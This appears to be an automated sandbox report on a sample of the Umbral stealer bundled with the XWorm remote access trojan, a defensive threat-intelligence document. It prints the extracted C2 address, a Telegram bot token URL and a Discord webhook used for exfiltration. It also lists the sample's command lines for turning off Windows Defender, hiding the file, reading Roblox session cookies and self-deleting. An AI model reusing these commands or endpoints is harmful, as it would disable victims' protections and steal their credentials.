umbral | 38944e7579d5fcd2263e7212954619c496d4ff087360b8db6e190e1bdf5358ce

Analysis

max time kernel
146s
max time network
151s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
11-02-2025 19:28

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General

Target

Output.exe
Size

322KB
MD5

710c071c63a8d8d1cd493c81d34834dc
SHA1

050c535a206ac05550e3670ef465efe83585a76b
SHA256

38944e7579d5fcd2263e7212954619c496d4ff087360b8db6e190e1bdf5358ce
SHA512

af1753c06c22178d1362ab964e445dbe49c5cf3c83ebceabf21b9a7c4cc30efbc66b3a28c4d4f90efba081faba84047edb190d2f05abe416ebf1a1b6c36aad13
SSDEEP

6144:PhPKqm0guLkkFZFjbnSrOsrfUVCmveA3E6Chow8rtryB8YROu+oSxOFDxXMR17:5NnnfZTSHfUV7/E6twurFG+oS4FDxXMP

Score

10^/10

umbral xworm discovery execution rat spyware stealer trojan

Malware Config

Extracted

Family

xworm

147.185.221.19:18254

Attributes

Install_directory
%Temp%
install_file
SecurityHost.exe
telegram
https://api.telegram.org/bot7873282441:AAFVeYQ8VZCC3gF8qlaTYIz4N-gMEL21mHI/sendMessage?chat_id=7952080340

Extracted

Family

umbral

https://discord.com/api/webhooks/1315319389234663454/VqoRw_khZ1Mydiisut3PyEHlF4iC_sCu736uMNVyatDDeHcTWNwsEKe2PRLuH4NrOZdd

Signatures

Detect Umbral payload 2 IoCs

resource	yara_rule
behavioral2/files/0x0008000000016dd5-11.dat	family_umbral
behavioral2/memory/2680-13-0x0000000000CB0000-0x0000000000CF0000-memory.dmp	family_umbral

Detect Xworm Payload 2 IoCs

resource	yara_rule
behavioral2/files/0x000a0000000120d6-5.dat	family_xworm
behavioral2/memory/2784-10-0x0000000000FF0000-0x000000000100A000-memory.dmp	family_xworm

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Umbral family
umbral
Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2748	powershell.exe
2760	powershell.exe
1536	powershell.exe
1720	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	SystemHost.exe

Executes dropped EXE 2 IoCs

pid	Process
2784	1.16.5.exe
2680	SystemHost.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
13	discord.com
14	discord.com

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
7	ip-api.com
11	ip-api.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
608	cmd.exe
2828	PING.EXE

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
2756	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2828	PING.EXE

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
2748	powershell.exe
1536	powershell.exe
1720	powershell.exe
1692	powershell.exe
2760	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2784	1.16.5.exe
Token: SeDebugPrivilege	2680	SystemHost.exe
Token: SeDebugPrivilege	2748	powershell.exe
Token: SeDebugPrivilege	1536	powershell.exe
Token: SeDebugPrivilege	1720	powershell.exe
Token: SeDebugPrivilege	1692	powershell.exe
Token: SeIncreaseQuotaPrivilege	976	wmic.exe
Token: SeSecurityPrivilege	976	wmic.exe
Token: SeTakeOwnershipPrivilege	976	wmic.exe
Token: SeLoadDriverPrivilege	976	wmic.exe
Token: SeSystemProfilePrivilege	976	wmic.exe
Token: SeSystemtimePrivilege	976	wmic.exe
Token: SeProfSingleProcessPrivilege	976	wmic.exe
Token: SeIncBasePriorityPrivilege	976	wmic.exe
Token: SeCreatePagefilePrivilege	976	wmic.exe
Token: SeBackupPrivilege	976	wmic.exe
Token: SeRestorePrivilege	976	wmic.exe
Token: SeShutdownPrivilege	976	wmic.exe
Token: SeDebugPrivilege	976	wmic.exe
Token: SeSystemEnvironmentPrivilege	976	wmic.exe
Token: SeRemoteShutdownPrivilege	976	wmic.exe
Token: SeUndockPrivilege	976	wmic.exe
Token: SeManageVolumePrivilege	976	wmic.exe
Token: 33	976	wmic.exe
Token: 34	976	wmic.exe
Token: 35	976	wmic.exe
Token: SeIncreaseQuotaPrivilege	976	wmic.exe
Token: SeSecurityPrivilege	976	wmic.exe
Token: SeTakeOwnershipPrivilege	976	wmic.exe
Token: SeLoadDriverPrivilege	976	wmic.exe
Token: SeSystemProfilePrivilege	976	wmic.exe
Token: SeSystemtimePrivilege	976	wmic.exe
Token: SeProfSingleProcessPrivilege	976	wmic.exe
Token: SeIncBasePriorityPrivilege	976	wmic.exe
Token: SeCreatePagefilePrivilege	976	wmic.exe
Token: SeBackupPrivilege	976	wmic.exe
Token: SeRestorePrivilege	976	wmic.exe
Token: SeShutdownPrivilege	976	wmic.exe
Token: SeDebugPrivilege	976	wmic.exe
Token: SeSystemEnvironmentPrivilege	976	wmic.exe
Token: SeRemoteShutdownPrivilege	976	wmic.exe
Token: SeUndockPrivilege	976	wmic.exe
Token: SeManageVolumePrivilege	976	wmic.exe
Token: 33	976	wmic.exe
Token: 34	976	wmic.exe
Token: 35	976	wmic.exe
Token: SeIncreaseQuotaPrivilege	1584	wmic.exe
Token: SeSecurityPrivilege	1584	wmic.exe
Token: SeTakeOwnershipPrivilege	1584	wmic.exe
Token: SeLoadDriverPrivilege	1584	wmic.exe
Token: SeSystemProfilePrivilege	1584	wmic.exe
Token: SeSystemtimePrivilege	1584	wmic.exe
Token: SeProfSingleProcessPrivilege	1584	wmic.exe
Token: SeIncBasePriorityPrivilege	1584	wmic.exe
Token: SeCreatePagefilePrivilege	1584	wmic.exe
Token: SeBackupPrivilege	1584	wmic.exe
Token: SeRestorePrivilege	1584	wmic.exe
Token: SeShutdownPrivilege	1584	wmic.exe
Token: SeDebugPrivilege	1584	wmic.exe
Token: SeSystemEnvironmentPrivilege	1584	wmic.exe
Token: SeRemoteShutdownPrivilege	1584	wmic.exe
Token: SeUndockPrivilege	1584	wmic.exe
Token: SeManageVolumePrivilege	1584	wmic.exe
Token: 33	1584	wmic.exe

Suspicious use of WriteProcessMemory 42 IoCs

description	pid	Process	procid_target
PID 3040 wrote to memory of 2784	3040	Output.exe	30
PID 3040 wrote to memory of 2784	3040	Output.exe	30
PID 3040 wrote to memory of 2784	3040	Output.exe	30
PID 3040 wrote to memory of 2680	3040	Output.exe	31
PID 3040 wrote to memory of 2680	3040	Output.exe	31
PID 3040 wrote to memory of 2680	3040	Output.exe	31
PID 2680 wrote to memory of 2516	2680	SystemHost.exe	34
PID 2680 wrote to memory of 2516	2680	SystemHost.exe	34
PID 2680 wrote to memory of 2516	2680	SystemHost.exe	34
PID 2680 wrote to memory of 2748	2680	SystemHost.exe	36
PID 2680 wrote to memory of 2748	2680	SystemHost.exe	36
PID 2680 wrote to memory of 2748	2680	SystemHost.exe	36
PID 2680 wrote to memory of 1536	2680	SystemHost.exe	38
PID 2680 wrote to memory of 1536	2680	SystemHost.exe	38
PID 2680 wrote to memory of 1536	2680	SystemHost.exe	38
PID 2680 wrote to memory of 1720	2680	SystemHost.exe	40
PID 2680 wrote to memory of 1720	2680	SystemHost.exe	40
PID 2680 wrote to memory of 1720	2680	SystemHost.exe	40
PID 2680 wrote to memory of 1692	2680	SystemHost.exe	42
PID 2680 wrote to memory of 1692	2680	SystemHost.exe	42
PID 2680 wrote to memory of 1692	2680	SystemHost.exe	42
PID 2680 wrote to memory of 976	2680	SystemHost.exe	44
PID 2680 wrote to memory of 976	2680	SystemHost.exe	44
PID 2680 wrote to memory of 976	2680	SystemHost.exe	44
PID 2680 wrote to memory of 1584	2680	SystemHost.exe	47
PID 2680 wrote to memory of 1584	2680	SystemHost.exe	47
PID 2680 wrote to memory of 1584	2680	SystemHost.exe	47
PID 2680 wrote to memory of 2900	2680	SystemHost.exe	49
PID 2680 wrote to memory of 2900	2680	SystemHost.exe	49
PID 2680 wrote to memory of 2900	2680	SystemHost.exe	49
PID 2680 wrote to memory of 2760	2680	SystemHost.exe	51
PID 2680 wrote to memory of 2760	2680	SystemHost.exe	51
PID 2680 wrote to memory of 2760	2680	SystemHost.exe	51
PID 2680 wrote to memory of 2756	2680	SystemHost.exe	53
PID 2680 wrote to memory of 2756	2680	SystemHost.exe	53
PID 2680 wrote to memory of 2756	2680	SystemHost.exe	53
PID 2680 wrote to memory of 608	2680	SystemHost.exe	55
PID 2680 wrote to memory of 608	2680	SystemHost.exe	55
PID 2680 wrote to memory of 608	2680	SystemHost.exe	55
PID 608 wrote to memory of 2828	608	cmd.exe	57
PID 608 wrote to memory of 2828	608	cmd.exe	57
PID 608 wrote to memory of 2828	608	cmd.exe	57

Views/modifies file attributes 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
2516	attrib.exe

C:\Users\Admin\AppData\Local\Temp\Output.exe
"C:\Users\Admin\AppData\Local\Temp\Output.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3040
- C:\Users\Admin\AppData\Local\Temp\1.16.5.exe
  "C:\Users\Admin\AppData\Local\Temp\1.16.5.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:2784
- C:\Users\Admin\AppData\Local\Temp\SystemHost.exe
  "C:\Users\Admin\AppData\Local\Temp\SystemHost.exe"
  2⤵
  - Drops file in Drivers directory
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2680
- - C:\Windows\system32\attrib.exe
    "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\SystemHost.exe"
    3⤵
    - Views/modifies file attributes
    PID:2516
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\SystemHost.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2748
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1536
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1720
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1692
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" os get Caption
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:976
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" computersystem get totalphysicalmemory
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1584
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" csproduct get uuid
    3⤵
    PID:2900
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:2760
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic" path win32_VideoController get name
    3⤵
    - Detects videocard installed
    PID:2756
- - C:\Windows\system32\cmd.exe
    "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\SystemHost.exe" && pause
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Suspicious use of WriteProcessMemory
    PID:608
  - - C:\Windows\system32\PING.EXE
      ping localhost
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:2828

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\1.16.5.exe

Filesize
80KB

MD5
0154c502a44c2d5f9b4d5ccbbb00dd10

SHA1
d7e0d7311c345dfd8d9b866d0cc9947da75ef194

SHA256
75d7a768d90e198c91aa274d24ff8f08ba95692b888d314aaf6278bb9a175027

SHA512
f237bbf5d80712ec3627a618dcd52bb75c379b8e5d3a9f4f10e09cabdb8dfb61a64ec6663b853b607f4add930dd19f249dfdce2b76240820bd3d5cd4ae555e09

Download Submit
C:\Users\Admin\AppData\Local\Temp\SystemHost.exe

Filesize
231KB

MD5
4855e5d98bb0ba10ce6acafaee9a9604

SHA1
8ef1a61d89cba2fd51460af7a902150e7066881a

SHA256
c51f4e4068a1ad51be55c670091bcddf525e4c3e4a43da4d1c1ab9fe9ac8f1e0

SHA512
39240a196a462be0c1fbf45d5d3a755767fef8d89eb4b63bcff30062be746a1237e47cb6fd4d0e980b8786416d5310bff4a40d34d7bcbc447a0c0110a31d3254

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\CZ2K7JAHVL3TUBXAX2ON.temp

Filesize
7KB

MD5
7611f46eed6bac63c77ef1ccced452d4

SHA1
c203445bc0f22193cf05e5b80609b9ad7217db40

SHA256
bd78d93d5ef2a17cf9e038962bd52d54bd98516f459564ff8d439cfc01e8b619

SHA512
eed8ff6e8669f578b9c9405b99036360e77e76a8da7043f41ab04f4076c6650833032bc8401781a4b98cec3ef604754fbbe2e5eed74e08117661c21f5b4b324a

Download Submit
memory/1536-29-0x0000000001F80000-0x0000000001F88000-memory.dmp

Filesize
32KB

Download
memory/1536-28-0x000000001B710000-0x000000001B9F2000-memory.dmp

Filesize
2.9MB

Download
memory/2680-13-0x0000000000CB0000-0x0000000000CF0000-memory.dmp

Filesize
256KB

Download
memory/2748-22-0x0000000001F80000-0x0000000001F88000-memory.dmp

Filesize
32KB

Download
memory/2748-21-0x000000001B700000-0x000000001B9E2000-memory.dmp

Filesize
2.9MB

Download
memory/2760-57-0x0000000002860000-0x0000000002868000-memory.dmp

Filesize
32KB

Download
memory/2784-10-0x0000000000FF0000-0x000000000100A000-memory.dmp

Filesize
104KB

Download
memory/2784-16-0x000007FEF50C0000-0x000007FEF5AAC000-memory.dmp

Filesize
9.9MB

Download
memory/2784-15-0x000007FEF50C0000-0x000007FEF5AAC000-memory.dmp

Filesize
9.9MB

Download
memory/2784-14-0x000007FEF50C0000-0x000007FEF5AAC000-memory.dmp

Filesize
9.9MB

Download
memory/3040-0-0x000007FEF50C3000-0x000007FEF50C4000-memory.dmp

Filesize
4KB

Download
memory/3040-1-0x0000000000C80000-0x0000000000CD6000-memory.dmp

Filesize
344KB

Download